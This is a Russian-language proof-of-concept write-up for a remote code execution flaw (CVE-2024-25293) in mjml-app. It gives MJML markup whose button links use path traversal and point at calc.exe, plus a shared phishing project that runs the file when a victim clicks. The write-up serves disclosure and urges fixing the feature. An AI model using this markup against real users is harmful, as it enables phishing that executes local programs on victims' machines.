
mjml-app v3.0.4 & 3.1.0-beta RCE exploit
Доказательство концепции (PoC) для уязвимости CVE-2024-25293.
В mjml-app v3.0.4 и 3.1.0-beta была обнаружена удалённая уязвимость выполнения кода (RCE)
В этом репозитории представлено пример уязвимого приложения и его PoC-эксплойт.

Шаг 1) Злоумышленник создаёт 'mj-button' с тегом 'href' и
<mjml>
<mj-body>
<mj-section>
<mj-column>
<mj-button background-color="#f45e43" color="white" href="C:\Users\EQST\Desktop\jruru\..\jruru_hacked.txt"> jruru </mj-button>
<mj-button background-color="#f45e43" color="white" href="C:Windows/System32/calc.exe"> Code Execution </mj-button>
</mj-column>
</mj-section>
</mj-body>
</mjml>

Шаг 2) Злоумышленник создаёт основной фишинговый проект со следующим кодом.
<!-- header.mjml -->
<mj-section>
<mj-column>
<mj-text>This is a demo jruru</mj-text>
</mj-column>
</mj-section>
<!-- main.mjml -->
<mj-include path="./index.mjml" />

Шаг 3) Жертва открывает общий проект и нажимает кнопку, запуская выполнение полезной нагрузки (например, calc, notepad)

Запуск exe-файлов через теги href внутри приложения рискован, а запуск файлов в сочетании с Path Traversal представляет угрозу безопасности. Это позволяет создавать фишинговые проекты и развертывать их для выполнения локальных файлов. Поэтому крайне важно изменить эту функцию, чтобы предотвратить такое выполнение.